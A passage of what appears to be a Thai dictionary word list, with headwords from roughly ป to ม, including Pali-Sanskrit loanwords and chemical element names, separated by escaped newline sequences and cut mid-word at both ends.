ุกุล\\nปัจจัตตะ\\nปัจจันต์\\nปัจจันตคาม\\nปัจจันตชนบท\\nปัจจันตประเทศ\\nปัจจัย\\nปัจจามิตร\\nปัจจุคมน์\\nปัจจุทธรณ์\\nปัจจุบัน\\nปัจจุสมัย\\nปัจเจก\\nปัจโจปการกิจ\\nปัจฉา\\nปัจฉิม\\nปัจถรณ์\\nปัจนึก\\nปัจยาการ\\nปัจเวกขณ์\\nปัชชุน\\nปัญจนที\\nปัญจวัคคีย์\\nปัญจก\\nปัญจกะ\\nปัญจมี\\nปัญจวีสติ\\nปัญญัติ\\nปัญญา\\nปัญหา\\nปัฏ\\nปัฏนะ\\nปัฐยาวัต\\nปัณฑรหัตถี\\nปัณณะ\\nปัณณาส\\nปัณณาสก์\\nปัณรสี\\nปัณหิ\\nปัด\\nปัตคาด\\nปัตตะ\\nปัตตานึก\\nปัตตานุโมทนา\\nปัตตาเวีย\\nปัตติ\\nปัตติก\\nปัตถร\\nปัตถะ\\nปัตนิ\\nปัตนี\\nปัตหล่า\\nปัถพี\\nปัถวี\\nปัทม์\\nปัทมะ\\nปัทมาสน์\\nปัน\\nปั่น\\nปั้น\\nปั้นจั่น\\nปันจุเหร็จ\\nปั้นลม\\nปั้นหยา\\nปั้นเหน่ง\\nปับ\\nปั๊บ\\nปัปผาสะ\\nปัพพาชนียกรรม\\nปัพภาระ\\nปั๊ม\\nปัยกา\\nปัยยิกา\\nปัวเปีย\\nปัศจิม\\nปัศตัน\\nปัสสาวะ\\nปัสสาสะ\\nปา\\nป่า\\nป้า\\nปาก\\nปาง\\nป้าง\\nปาจรีย์\\nปาจิตตีย์\\nปาจีน\\nปาฏลิ\\nปาฏิบท\\nปาฏิบุคลิก\\nปาฏิโภค\\nปาฏิหาริย์\\nปาฐก\\nปาฐกถา\\nปาฐะ\\nปาณกชาติ\\nปาณะ\\nปาณาติบาต\\nปาณิ\\nปาณี\\nปาด\\nปาติโมกข์\\nปาตี\\nปาเต๊ะ\\nปาท่องโก๋\\nปาทังกา\\nปาทาน\\nปาทุกา\\nปาน\\nป่าน\\nป้าน\\nปานะ\\nปานียะ\\nป้าบ\\nป๊าบ\\nปาพจน์\\nปาม\\nปาโมกข์\\nป่าย\\nป้าย\\nปายาส\\nปาร์เกต์\\nปารมี\\nปารเมศ\\nปาราชิก\\nปาริฉัตร\\nปาริชาต\\nปารุสกวัน\\nปาล\\nปาล์ม\\nปาลิไลยก์\\nปาลี\\nปาว\\nป่าว\\nป๊าว\\nปาวาร\\nปาษาณ\\nปาส\\nปาสาณ\\nปาสาทิกะ\\nปาหนัน\\nปาหี่\\nปำ\\nป้ำ\\nป้ำเป๋อ\\nปิกนิก\\nปิ้ง\\nปิงคละ\\nปิงปอง\\nปิฎก\\nปิฏฐะ\\nปิฐิ\\nปิณฑะ\\nปิด\\nปิตตะ\\nปิตา\\nปิตามหัยกา\\nปิตามหัยยิกา\\nปิตุ\\nปิตุจฉา\\nปิตุภูมิ\\nปิตุลา\\nปิโตรเลียม\\nปิ่น\\nปิ่นแก้ว\\nปิ่นโต\\nปิปผลี\\nปิ่ม\\nปิ้ม\\nปิยะ\\nปิยังคุ\\nปิโยรส\\nปิลันธน์\\nปิ๋ว\\nปิศาจ\\nปิหกะ\\nปี\\nปี่\\nปี้\\nปี๋\\nปีก\\nปีฐะ\\nปี๊ด\\nปีติ\\nปีน\\nปีบ\\nปี๊บ\\nปีศาจ\\nปีฬกะ\\nปึก\\nปึง\\nปึ่ง\\nปึ๋ง\\nปึ้ด\\nปึมปื้อ\\nปืน\\nปื้น\\nปือ\\nปื้อ\\nปื๋อ\\nปุ\\nปุ๊\\nปุก\\nปุกปุย\\nปุคละ\\nปุ้งกี๋\\nปุงควะ\\nปุงลิงค์\\nปุงลึงค์\\nปุจฉา\\nปุฏะ\\nปุณฑริก\\nปุด\\nปุตตะ\\nปุถุชน\\nปุนนาค\\nปุนภพ\\nปุนัพสุ\\nปุบ\\nปุ๊บ\\nปุปผะ\\nปุปะ\\nปุพพะ\\nปุ่ม\\nปุ่มป่ำ\\nปุ้ม\\nปุ๋ม\\nปุย\\nปุ้ย\\nปุ๋ย\\nปุรณะ\\nปุระ\\nปุราณ\\nปุราณะ\\nปุริมพรรษา\\nปุเรจาริก\\nปุโรหิต\\nปุลลิงค์\\nปุลลึงค์\\nปุลินท์\\nปุโลปุเล\\nปุษยะ\\nปุสสะ\\nปู\\nปู่\\nปูชกะ\\nปูชนียบุคคล\\nปูชนียวัตถุ\\nปูชนียะ\\nปูชา\\nปูชิต\\nปูด\\nปูน\\nปูม\\nปู้ยี่ปู้ยำ\\nปูระ\\nปูลู\\nเป้\\nเป๋\\nเปก\\nเป๊ก\\nเป่ง\\nเป้ง\\nเป๋ง\\nเป็ด\\nเปตพลี\\nเปตอง\\nเป็น\\nเปยยาล\\nเปร็ง\\nเปรต\\nเปรม\\nเปรย\\nเปรอ\\nเปรอะ\\nเปราะ\\nเปรียง\\nเปรี้ยง\\nเปรี้ยงปร้าง\\nเปรียญ\\nเปรียบ\\nเปรี่ยม\\nเปรียว\\nเปรี้ยว\\nเปรียะ\\nเปรี๊ยะ\\nเปรื่อง\\nเปรื้อย\\nเปล\\nเปล่ง\\nเปลว\\nเปลา\\nเปล่า\\nเปล้า\\nเปลาะ\\nเปลี้ย\\nเปลี่ยน\\nเปลี่ยม\\nเปลี่ยว\\nเปลือก\\nเปลือง\\nเปลื้อง\\nเปลือย\\nเปศะ\\nเปศัส\\nเปสการ\\nเปสละ\\nเปสุญวาท\\nเป๋อ\\nเป้อเย้อ\\nเปอร์\\nเปอร์เซ็นต์\\nเปะ\\nเปา\\nเป่า\\nเป้า\\nเป๊า\\nเป๋า\\nเป๋าฮื้อ\\nเปาะ\\nเป๊าะ\\nเปาะเปี๊ยะ\\nเปาะแปะ\\nเปิก\\nเปิง\\nเปิงมาง\\nเปิด\\nเปิ่น\\nเปิบ\\nเปิ๊บ\\nเปีย\\nเปียก\\nเปี๊ยก\\nเปี๊ยบ\\nเปี่ยม\\nเปี้ยว\\nเปี๊ยว\\nเปียะ\\nเปี๊ยะ\\nเปือก\\nเปื้อน\\nเปื่อย\\nแป\\nแป้ง\\nแป๋ง\\nแปด\\nแป๊ด\\nแปทู\\nแป้น\\nแป๊น\\nแปบ\\nแป๊บ\\nแปม\\nแปร\\nแปร๋\\nแปรก\\nแปรง\\nแปร่ง\\nแปร๊ด\\nแปร้น\\nแปร๋น\\nแปรปรวน\\nแประ\\nแปล\\nแปล้\\nแปลก\\nแปลง\\nแปลน\\nแปลบ\\nแปล๊บ\\nแป้ว\\nแป๊ว\\nแปะ\\nแป๊ะ\\nแป๊ะซะ\\nโป\\nโป่\\nโป้\\nโป๊\\nโปก\\nโป๊ก\\nโป๊กเกอร์\\nโปกขรณี\\nโปกขรพรรษ\\nโปเก\\nโปง\\nโป่ง\\nโป้ง\\nโป่งข่าม\\nโปงลาง\\nโป่งวิด\\nโปฐบท\\nโปฐปทมาส\\nโปดก\\nโปตถกะ\\nโปน\\nโป๊ป\\nโป๊ยเซียน\\nโปรแกรม\\nโปรง\\nโปร่ง\\nโปรด\\nโปรตอน\\nโปรตีน\\nโปรเตสแตนต์\\nโปรแทรกเตอร์\\nโปรย\\nโปล่ง\\nโปลิโอ\\nโปโล\\nโปสก\\nโปสต์การ์ด\\nโปะ\\nโป๊ะ\\nโป๊ะจ้าย\\nไป\\nไป่\\nไป๋\\nไปยาล\\nไปรษณีย์\\nไปรษณียบัตร\\nไปรษณียภัณฑ์\\nไปรษณียากร\\nไปล่\\nไปศาจ\\nผก\\nผกา\\nผกาย\\nผคม\\nผง\\nผงก\\nผงม\\nผงะ\\nผงาด\\nผง่าน\\nผจง\\nผจญ\\nผจัญ\\nผจาน\\nผชุม\\nผณิน\\nผณินทร\\nผณิศวร\\nผด\\nผดุง\\nผเดิน\\nผทม\\nผนวก\\nผนวช\\nผนัง\\nผนิด\\nผนึก\\nผม\\nผยอง\\nผรณาปีติ\\nผรสุ\\nผริต\\nผรุสวาท\\nผล\\nผลคุน\\nผลคุนี\\nผล็อย\\nผละ\\nผลัก\\nผลัด\\nผลับ\\nผลัวะ\\nผลา\\nผลาญ\\nผลานิสงส์\\nผลาผล\\nผลาหาร\\nผลิ\\nผลิกะ\\nผลิต\\nผลิน\\nผลี\\nผลีผลาม\\nผลึก\\nผลึ่ง\\nผลือ\\nผลุ\\nผลุง\\nผลุด\\nผลุน\\nผลุนผลัน\\nผลุบ\\nผลุบผลับ\\nผลุย\\nผลู\\nผวน\\nผวย\\nผวา\\nผสม\\nผสาน\\nผอง\\nผ่อง\\nผ่อน\\nผอบ\\nผอม\\nผ็อย\\nผอูน\\nผะ\\nผะดา\\nผะสา\\nผัก\\nผัคคุณ\\nผัคคุณี\\nผัง\\nผัด\\nผัน\\nผับ\\nผัว\\nผัวะ\\nผัสสะ\\nผัสสาหาร\\nผา\\nผ่า\\nผ้า\\nผาก\\nผาง\\nผ่าง\\nผาณิต\\nผาด\\nผาติ\\nผ่าน\\nผาม\\nผาย\\nผ่ายผอม\\nผาล\\nผาลคุน\\nผาลา\\nผ่าว\\nผาสุก\\nผ้าฮาด\\nผำ\\nผ้ำ\\nผิ\\nผิง\\nผิด\\nผิตะ\\nผิน\\nผิว\\nผี\\nผี้ว์\\nผึง\\nผึ่ง\\nผึ้ง\\nผึ้งรวง\\nผืน\\nผื่น\\nผุ\\nผุด\\nผุยผง\\nผุสราคา\\nผู้\\nผูก\\nเผ\\nเผง\\nเผชิญ\\nเผ็ด\\nเผด็จ\\nเผดิม\\nเผดียง\\nเผ่น\\nเผนิก\\nเผย\\nเผยอ\\nเผยิบ\\nเผยิบผยาบ\\nเผล\\nเผล่\\nเผล็ด\\nเผลอ\\nเผลอไผล\\nเผละ\\nเผลาะ\\nเผลาะแผละ\\nเผลียง\\nเผอเรอ\\nเผอิญ\\nเผอิล\\nเผะ\\nเผา\\nเผ่า\\nเผ้า\\nเผาะ\\nเผิ้ง\\nเผิน\\nเผียน\\nเผือ\\nเผื่อ\\nเผือก\\nเผือด\\nเผือน\\nเผื่อน\\nแผ่\\nแผก\\nแผง\\nแผด\\nแผน\\nแผ่น\\nแผนก\\nแผล\\nแผลง\\nแผล็บ\\nแผล็ว\\nแผละ\\nแผ่ว\\nแผ้ว\\nโผ\\nโผง\\nโผฏฐัพพะ\\nโผน\\nโผเผ\\nโผย\\nโผล่\\nโผลกเผลก\\nโผละ\\nโผอน\\nโผะ\\nไผ\\nไผ่\\nไผท\\nฝน\\nฝรั่ง\\nฝรั่งเศส\\nฝ่อ\\nฝอย\\nฝัก\\nฝัง\\nฝั่ง\\nฝัด\\nฝัน\\nฝา\\nฝ่า\\nฝ้า\\nฝาก\\nฝาง\\nฝาด\\nฝาน\\nฝาย\\nฝ่าย\\nฝ้าย\\nฝิ่น\\nฝี\\nฝี่\\nฝีก\\nฝึก\\nฝืด\\nฝืน\\nฝุ่น\\nฝูง\\nเฝ้า\\nเฝือ\\nเฝือก\\nเฝือง\\nเฝื่อน\\nแฝก\\nแฝง\\nแฝด\\nใฝ่\\nไฝ\\nพก\\nพกุล\\nพง\\nพงศ์\\nพงศกร\\nพงศธร\\nพงศา\\nพงศาวดาร\\nพจน์\\nพจนา\\nพจนานุกรม\\nพจนารถ\\nพจนีย์\\nพจมาน\\nพจี\\nพชระ\\nพญา\\nพญาลอ\\nพณิช\\nพณิชย์\\nพดด้วง\\nพธู\\nพนันดร\\nพนาดร\\nพนาดอน\\nพนาราม\\nพนาลัย\\nพนาลี\\nพนาวาส\\nพนาเวศ\\nพนาศรม\\nพนาสณฑ์\\nพนาสัณฑ์\\nพเนจร\\nพ่น\\nพ้น\\nพนม\\nพนอง\\nพนอม\\nพนัก\\nพนักงาน\\nพนัง\\nพนัน\\nพนัส\\nพนา\\nพนาย\\nพนิดา\\nพนิต\\nพบ\\nพม่า\\nพยนต์\\nพยศ\\nพยัก\\nพยักพเยิด\\nพยัคฆ์\\nพยัคฆา\\nพยัคฆิน\\nพยัคฆี\\nพยัชน์\\nพยัญชนะ\\nพยัต\\nพยับ\\nพยากรณ์\\nพยาฆร์\\nพยางค์\\nพยาธิ\\nพยาน\\nพยาบาท\\nพยาบาล\\nพยาม\\nพยามะ\\nพยายาม\\nพยุ\\nพยุง\\nพยุหยาตรา\\nพยุหโยธา\\nพยุหเสนา\\nพยุหะ\\nพยู่ห์\\nพเยีย\\nพร\\nพรต\\nพรม\\nพรรค\\nพรรค์\\nพรรคานต์\\nพรรณ\\nพรรณนา\\nพรรดึก\\nพรรลาย\\nพรรษ\\nพรรษา\\nพรรเอิญ\\nพรวด\\nพรวน\\nพรหม\\nพรหมจรรย์\\nพรหมจาริณี\\nพรหมจารี\\nพรหมา\\nพรหมาสตร์\\nพรหมินทร์\\nพรอก\\nพร่อง\\nพร้อง\\nพรอด\\nพร้อม\\nพร้อมพรัก\\nพร่อย\\nพร้อย\\nพระ\\nพระนอม\\nพระนาด\\nพระฮาม\\nพรักพร้อม\\nพรั่ง\\nพรัด\\nพรั่น\\nพรับ\\nพร่า\\nพร้า\\nพราก\\nพราง\\nพร่าง\\nพราด\\nพราน\\nพราย\\nพราว\\nพราหมณ์\\nพราหมณะ\\nพราหมณี\\nพราหมี\\nพรำ\\nพร่ำ\\nพริก\\nพริ้ง\\nพริบ\\nพริ้ม\\nพรึง\\nพรึน\\nพรึบ\\nพรึ่บ\\nพรืด\\nพรุ\\nพรุ่ง\\nพรุน\\nพรู\\nพรูด\\nพฤกษ์\\nพฤกษชาติ\\nพฤกษเทวดา\\nพฤกษราช\\nพฤกษศาสตร์\\nพฤกษา\\nพฤฒ\\nพฤฒา\\nพฤฒาจารย์\\nพฤฒิ\\nพฤต\\nพฤติ\\nพฤทธ์\\nพฤทธิ์\\nพฤนต์\\nพฤนท์\\nพฤศจิก\\nพฤศจิกายน\\nพฤษภ\\nพฤษภาคม\\nพฤหัสบดี\\nพล\\nพละ\\nพลากร\\nพลาดิศัย\\nพลาธิการ\\nพลานามัย\\nพลบ\\nพลวก\\nพลวง\\nพลวัต\\nพลศาสตร์\\nพลอ\\nพล้อ\\nพลอง\\nพลอด\\nพลอน\\nพลอมแพลม\\nพลอย\\nพล่อย\\nพลั่ก\\nพลัง\\nพลั่ง\\nพลั้ง\\nพลัด\\nพลัน\\nพลับ\\nพลับพลา\\nพลับพลึง\\nพลั่ว\\nพล่า\\nพลาง\\nพลาญ\\nพลาด\\nพล่าน\\nพลาม\\nพล่าม\\nพลาย\\nพลาสติก\\nพลาสมา\\nพลาหก\\nพลำ\\nพล้ำ\\nพลำภัง\\nพลิก\\nพลิพัท\\nพลิ้ว\\nพลี\\nพลุ\\nพลุก\\nพลุ่ก\\nพลุกพล่าน\\nพลุ่ง\\nพลุ้ย\\nพลู\\nพลูโต\\nพลูโทเนียม\\nพวก\\nพวง\\nพ่วง\\nพวน\\nพวย\\nพสก\\nพสุ\\nพสุธา\\nพสุสงกรานต์\\nพหล\\nพหุ\\nพหุล\\nพหู\\nพอ\\nพ่อ\\nพ้อ\\nพอก\\nพอง\\nพ้อง\\nพอน\\nพ้อม\\nพอโลเนียม\\nพะ\\nพะงา\\nพะงาบ\\nพะจง\\nพะทำมะรง\\nพะนอ\\nพะเน้าพะนอ\\nพะเนิน\\nพะเนียง\\nพะแนง\\nพะพาน\\nพะพิง\\nพะเพิง\\nพะยอม\\nพ่ะย่ะค่ะ\\nพะยูง\\nพะยูน\\nพะเยิบ\\nพะเยิบพะยาบ\\nพะรุงพะรัง\\nพะโล้\\nพะไล\\nพะวง\\nพะวักพะวน\\nพะวา\\nพะว้าพะวัง\\nพะอง\\nพะอากพะอำ\\nพะอืดพะอม\\nพัก\\nพักตร์\\nพักตรา\\nพักร\\nพัง\\nพังกา\\nพังงา\\nพังผืด\\nพังพวย\\nพังพอน\\nพังพาน\\nพังพาบ\\nพังเพย\\nพัช\\nพัชนี\\nพัชระ\\nพัญจน์\\nพัฒนะ\\nพัฒนา\\nพัฒนากร\\nพัฒนาการ\\nพัด\\nพัดชา\\nพัดดึงส์\\nพัตร\\nพัทธ์\\nพัทธยา\\nพัทธสีมา\\nพัทร\\nพัน\\nพันตู\\nพันทาง\\nพันธ์\\nพันธะ\\nพันธกรณี\\nพันธบัตร\\nพันธมิตร\\nพันธนะ\\nพันธนาคาร\\nพันธนาการ\\nพันธุ์\\nพันธุกรรม\\nพันลึก\\nพันลือ\\nพันเลิศ\\nพันเอิญ\\nพับ\\nพัลลภ\\nพัลวัน\\nพัว\\nพัวะ\\nพัศดี\\nพัสดุ\\nพัสตร์\\nพัสถาน\\nพา\\nพาก\\nพากเพียร\\nพากย์\\nพาง\\nพ่าง\\nพาชี\\nพาณิช\\nพาณิชย์\\nพาณิชยกรรม\\nพาณิชยการ\\nพาณิชยศาสตร์\\nพาณิชยศิลป์\\nพาณินี\\nพาณี\\nพาณีนี\\nพาด\\nพาท\\nพาทย์\\nพาธ\\nพาธา\\nพาน\\nพ่าน\\nพานร\\nพานรินทร์\\nพาม\\nพาย\\nพ่าย\\nพายม้า\\nพายัพ\\nพายุ\\nพาร์เซก\\nพารณ\\nพารา\\nพาราฟิน\\nพาล\\nพาลา\\nพาลี\\nพาลุก\\nพาโล\\nพาไล\\nพาส\\nพาสน์\\nพาสนา\\nพาสุกรี\\nพ่าห์\\nพาหนะ\\nพาหะ\\nพาหา\\nพาหิรกะ\\nพาหิระ\\nพาหุ\\nพาหุรัด\\nพาหุสัจจะ\\nพาเหียร\\nพาฬ\\nพำ\\nพำนัก\\nพำพึม\\nพำลา\\nพิกล\\nพิกสิต\\nพิกัด\\nพิกัติ\\nพิกัน\\nพิการ\\nพิกุล\\nพิเคราะห์\\nพิฆน์\\nพิฆเนศ\\nพิฆเนศวร\\nพิฆาต\\nพิง\\nพิจัย\\nพิจาร\\nพิจารณ์\\nพิจารณา\\nพิจิก\\nพิจิต\\nพิจิตร\\nพิชญ์\\nพิชัย\\nพิชาน\\nพิชิต\\nพิเชฐ\\nพิเชียร\\nพิฑูรย์\\nพิณ\\nพิดทูล\\nพิดาน\\nพิโดร\\nพิตร\\nพิถี\\nพิถีพิถัน\\nพิทย\\nพิทย์\\nพิทยา\\nพิทยาคม\\nพิทยาคาร\\nพิทยาธร\\nพิทยาลัย\\nพิทักษ์\\nพิทูร\\nพิเทศ\\nพิธาน\\nพิธี\\nพิธุ\\nพินทุ\\nพินอบพิเทา\\nพินัย\\nพินาศ\\nพินิจ\\nพินิต\\nพินิศ\\nพินิศจัย\\nพิเนต\\nพิบัติ\\nพิบุล\\nพิบูล\\nพิปริต\\nพิปลาส\\nพิพรรธ\\nพิพรรธน์\\nพิพักพิพ่วน\\nพิพัฒ\\nพิพัฒน์\\nพิพากษ์\\nพิพากษา\\nพิพาท\\nพิพิธ\\nพิพิธภัณฑ์\\nพิพิธภัณฑสถาน\\nพิภพ\\nพิภัช\\nพิภาค\\nพิภูษณะ\\nพิเภก\\nพิมปะการัง\\nพิมพ์\\nพิมพการัง\\nพิมพา\\nพิมพาภรณ์\\nพิมล\\nพิมเสน\\nพิมาน\\nพิมุข\\nพิโมกข์\\nพิโมกษ์\\nพิโยกพิเกน\\nพิโยค\\nพิรอด\\nพิระ\\nพิรากล\\nพิราบ\\nพิราม\\nพิราลัย\\nพิริยะ\\nพิรี้พิไร\\nพิรุณ\\nพิรุธ\\nพิรุฬห์\\nพิเรนทร์\\nพิเราะ\\nพิโรธ\\nพิไร\\nพิลังกาสา\\nพิลาป\\nพิลาส\\nพิลิปดา\\nพิลึก\\nพิลึกกึกกือ\\nพิลึกพิลั่น\\nพิโลน\\nพิไล\\nพิศ\\nพิศวง\\nพิศวาส\\nพิศาล\\nพิศุทธ์\\nพิศุทธิ์\\nพิเศษ\\nพิษ\\nพิษฐาน\\nพิษนาศน์\\nพิสดาร\\nพิสมร\\nพิสมัย\\nพิสัง\\nพิสัช\\nพิสัย\\nพิสิฐ\\nพิสุทธิ์\\nพิสูจน์\\nพิหค\\nพิหาร\\nพิฬาร\\nพี\\nพี่\\nพี้\\nพีชคณิต\\nพีระมิด\\nพึง\\nพึ่ง\\nพึ่บ\\nพึ่บพั่บ\\nพึม\\nพึมพำ\\nพืช\\nพืด\\nพื้น\\nพุ\\nพุก\\nพุกาม\\nพุง\\nพุ่ง\\nพุงดอ\\nพุฒ\\nพุฒิ\\nพุด\\nพุดตาน\\nพุทธ\\nพุทธะ\\nพุทธังกูร\\nพุทธางกูร\\nพุทธันดร\\nพุทธาภิเษก\\nพุทธาวาส\\nพุทธิ\\nพุทโธ่\\nพุทรา\\nพุธ\\nพุ่ม\\nพุมเรียง\\nพุ้ย\\nพู\\nพูพอน\\nพู่\\nพูด\\nพูน\\nพู้น\\nพู่ระหง\\nเพ\\nเพ็ก\\nเพกา\\nเพคะ\\nเพ็ง\\nเพ่ง\\nเพ็จ\\nเพชฉลูกรรม\\nเพชฌฆาต\\nเพชร\\nเพชรดา\\nเพชรปาณี\\nเพชรฤกษ์\\nเพชรายุธ\\nเพชรกลับ\\nเพชรสังฆาต\\nเพชรหลีก\\nเพชรหึง\\nเพ็ญ\\nเพฑูริย์\\nเพณี\\nเพ็ดทูล\\nเพดาน\\nเพท\\nเพทนา\\nเพทาย\\nเพทุบาย\\nเพโทบาย\\nเพ่นพ่าน\\nเพนียด\\nเพไนย\\nเพ้ย\\nเพรง\\nเพรซีโอดิเมียม\\nเพรา\\nเพราะ\\nเพริด\\nเพริศ\\nเพรียก\\nเพรียง\\nเพรียบ\\nเพรี้ยม\\nเพรียว\\nเพรื่อ\\nเพรือง\\nเพล\\nเพลง\\nเพล็ด\\nเพล้โพล้\\nเพลา\\nเพลาะ\\nเพลิง\\nเพลิดเพลิน\\nเพลิน\\nเพลีย\\nเพลี้ย\\nเพลี่ยง\\nเพศ\\nเพส\\nเพสลาด\\nเพ่อ\\nเพ้อ\\nเพ้อเจ้อ\\nเพอิญ\\nเพะ\\nเพา\\nเพาะ\\nเพิก\\nเพิง\\nเพิ่ง\\nเพิดเพ้ย\\nเพิ่ม\\nเพี้ย\\nเพียง\\nเพี้ยง\\nเพียงออ\\nเพี้ยน\\nเพียบ\\nเพียร\\nเพื่อ\\nเพื่อน\\nแพ\\nแพ้\\nแพง\\nแพ่ง\\nแพงพวย\\nแพทย์\\nแพทยศาสตร์\\nแพน\\nแพ่น\\nแพนก\\nแพนงเชิง\\nแพร\\nแพร่\\nแพรก\\nแพร่ง\\nแพรว\\nแพร้ว\\nแพลง\\nแพลทินัม\\nแพล็บ\\nแพลม\\nแพลเลเดียม\\nแพละ\\nแพละโลม\\nแพว\\nแพ้ว\\nแพศย์\\nแพศยา\\nแพะ\\nโพ\\nโพก\\nโพกพาย\\nโพง\\nโพงพาง\\nโพชฌงค์\\nโพซิตรอน\\nโพด\\nโพทะเล\\nโพแทสเซียม\\nโพธ\\nโพธิ\\nโพธิ์\\nโพน\\nโพ้น\\nโพนทะนา\\nโพบาย\\nโพย\\nโพยก๊วน\\nโพยม\\nโพรก\\nโพรง\\nโพรโทแอกทิเนียม\\nโพรมีเทียม\\nโพระดก\\nโพล่\\nโพลง\\nโพล่ง\\nโพล้ง\\nโพลน\\nโพล้เพล้\\nโพละ\\nโพสพ\\nไพ\\nไพ่\\nไพจิตร\\nไพชน\\nไพชยนต์\\nไพฑูรย์\\nไพที\\nไพบูลย์\\nไพพรรณ\\nไพร\\nไพร่\\nไพรจิตร\\nไพรชน\\nไพรชยนต์\\nไพรฑูรย์\\nไพรที\\nไพรบูลย์\\nไพรเราะ\\nไพรัช\\nไพรำ\\nไพริน\\nไพรินทร์\\nไพรี\\nไพเราะ\\nไพโรจน์\\nไพล\\nไพล่\\nไพศาขะ\\nไพศาล\\nไพเศษ\\nไพสพ\\nไพสิฐ\\nไพหาร\\nฟก\\nฟ้ง\\nฟรักโทส\\nฟรี\\nฟลูออรีน\\nฟ่อ\\nฟ้อ\\nฟอก\\nฟอง\\nฟ่อง\\nฟ้อง\\nฟอด\\nฟอน\\nฟ่อน\\nฟ้อน\\nฟ้อแฟ้\\nฟอร์มาลดีไฮด์\\nฟอร์มาลิน\\nฟอสฟอรัส\\nฟอสเฟต\\nฟัก\\nฟักฟุ้น\\nฟัง\\nฟังก์ชัน\\nฟัด\\nฟัน\\nฟั่น\\nฟั้น\\nฟ้า\\nฟาก\\nฟาง\\nฟ่าง\\nฟาด\\nฟาทอม\\nฟาน\\nฟ่าม\\nฟาย\\nฟาร์ม\\nฟาสซิสต์\\nฟิด\\nฟิต\\nฟิบ\\nฟิล์ม\\nฟิวส์\\nฟิสิกส์\\nฟี่\\nฟี้\\nฟืดฟาด\\nฟืน\\nฟื้น\\nฟืม\\nฟุ\\nฟุ้ง\\nฟุต\\nฟุน\\nฟุบ\\nฟุ่บ\\nฟุ่มเฟือย\\nฟุลสแก๊ป\\nฟู\\nฟู่\\nฟูก\\nฟูด\\nฟูม\\nเฟ็ด\\nเฟ้น\\nเฟลด์สปาร์\\nเฟ้อ\\nเฟอร์เมียม\\nเฟอะ\\nเฟอะฟะ\\nเฟะ\\nเฟะฟะ\\nเฟิน\\nเฟี้ยม\\nเฟี้ยว\\nเฟือ\\nเฟื้อ\\nเฟือง\\nเฟื่อง\\nเฟื้อง\\nเฟือน\\nเฟือย\\nเฟื้อย\\nแฟ่\\nแฟง\\nแฟชั่น\\nแฟน\\nแฟบ\\nแฟ้ม\\nแฟรนเซียม\\nแฟลกซ์\\nแฟลต\\nแฟะ\\nโฟกัส\\nไฟ\\nภควดี\\nภควัต\\nภควันต์\\nภควัม\\nภควา\\nภควาน\\nภคะ\\nภคันทลา\\nภคินี\\nภณะ\\nภณิดา\\nภพ\\nภมร\\nภมริน\\nภมรี\\nภมุกา\\nภยันตราย\\nภยาคติ\\nภระ\\nภรณี\\nภรต\\nภรรดร\\nภรรดา\\nภรรยา\\nภระมร\\nภระมรี\\nภราดร\\nภราดรภาพ\\nภราดา\\nภริยา\\nภฤศ\\nภวะ\\nภวตัณหา\\nภวนะ\\nภวังค์\\nภวังคจิต\\nภักดี\\nภักตะ\\nภักติ\\nภักษ์\\nภักษา\\nภักษาหาร\\nภัค\\nภัคน์\\nภังคะ\\nภังคี\\nภัจ\\nภัณฑ์\\nภัณฑาคาร\\nภัณฑาคาริก\\nภัณฑารักษ์\\nภัณฑนะ\\nภัณฑู\\nภัต\\nภัตตาคาร\\nภัตตาหาร\\nภัตร\\nภัทระ\\nภัทรกัป\\nภัพ\\nภัย\\nภัสดา\\nภัสตรา\\nภัสมะ\\nภัสสร\\nภา\\nภาค\\nภาคย์\\nภาคยานุวัติ\\nภาคินี\\nภาคิไนย\\nภาคี\\nภาคียะ\\nภาชนะ\\nภาชี\\nภาณ\\nภาณวาร\\nภาณกะ\\nภาณี\\nภาณุ\\nภาดร\\nภาดา\\nภาตระ\\nภาตา\\nภาตุ\\nภาติกะ\\nภาติยะ\\nภาพ\\nภาพย์\\nภาม\\nภาย\\nภาร\\nภาระ\\nภารดี\\nภารต\\nภารตี\\nภารยทรัพย์\\nภารยา\\nภารา\\nภาวนา\\nภาวะ\\nภาษ\\nภาษณ์\\nภาษา\\nภาษิต\\nภาษี\\nภาส\\nภาสน์\\nภาสวร\\nภาสา\\nภาสุระ\\nภิกขา\\nภิกขาจาร\\nภิกขุ\\nภิกขุนี\\nภิกษา\\nภิกษาจาร\\nภิกษาหาร\\nภิกษุ\\nภิกษุณี\\nภิงคาร\\nภิญโญ\\nภิตติ\\nภินท์\\nภินทนาการ\\nภิยโย\\nภิรมย์\\nภิรมย์สุรางค์\\nภิษัช\\nภิสัก\\nภีตะ\\nภีมะ\\nภีรุ\\nภุกต์\\nภุขัน\\nภุช\\nภุชงค์\\nภุต\\nภุมมะ\\nภุมรัตน์\\nภุมวาร\\nภุมรา\\nภุมริน\\nภุมรี\\nภุมเรศ\\nภู\\nภู่\\nภูต\\nภูติ\\nภูม\\nภูมิ\\nภูมี\\nภูริ\\nภูรี\\nภูวดล\\nภูวนาถ\\nภูวเนตร\\nภูวไนย\\nภูษา\\nภูษิต\\nเภกะ\\nเภตรา\\nเภท\\nเภทุบาย\\nเภรี\\nเภสัช\\nโภค\\nโภคะ\\nโภคิน\\nโภคี\\nโภไคย\\nโภไคศวรรย์\\nโภช\\nโภชย์\\nโภชก\\nโภชนะ\\nโภชนา\\nโภชนาหาร\\nโภชนียะ\\nไภริน\\nไภรี\\nไภษัชคุรุ\\nไภษัชย์\\nมกร\\nมกราคม\\nมกุฎ\\nมคธ\\nมฆวัน\\nมฆะ\\nมฆา\\nม่ง\\nมงกุฎ\\nมงโกรย\\nมงคล\\nมงคลวาร\\nมณฑ์\\nมณฑก\\nมณฑนะ\\nมณฑป\\nมณฑล\\nมณฑา\\nมณฑารพ\\nมณฑิระ\\nมณเฑียร\\nมณี\\nมด\\nมตะ\\nมตกภัต\\nมติ\\nมทนะ\\nมทะ\\nมธุ\\nมธุกร\\nมธุการี\\nมธุลีห์\\nมธุระ\\nมธุรพจน์\\nมน\\nมนินทรีย์\\nม่น\\nมนต์\\nมนตร์\\nมนตรี\\nมนท์\\nมนทิราลัย\\nมนเทียร\\nมนสิการ\\nมนัส\\nมนัสวี\\nมนินทรีย์\\nมนิมนา\\nมนิลา\\nมนุญ\\nมนุษย์\\nมนุษยชาติ\\nมนุษยธรรม\\nมนุษย์มนา\\nมนุษยโลก\\nมนุษยศาสตร์\\nมนุษยสัมพันธ์\\nมนุสาร\\nมนู\\nมนูสาร\\nมโน\\nมโนช\\nมโนชญ์\\nมโนราห์\\nมโนสาเร่\\nมโนห์รา\\nมมังการ\\nมยุรฉัตร\\nมยุระ\\nมยุรา\\nมยุรี\\nมยุ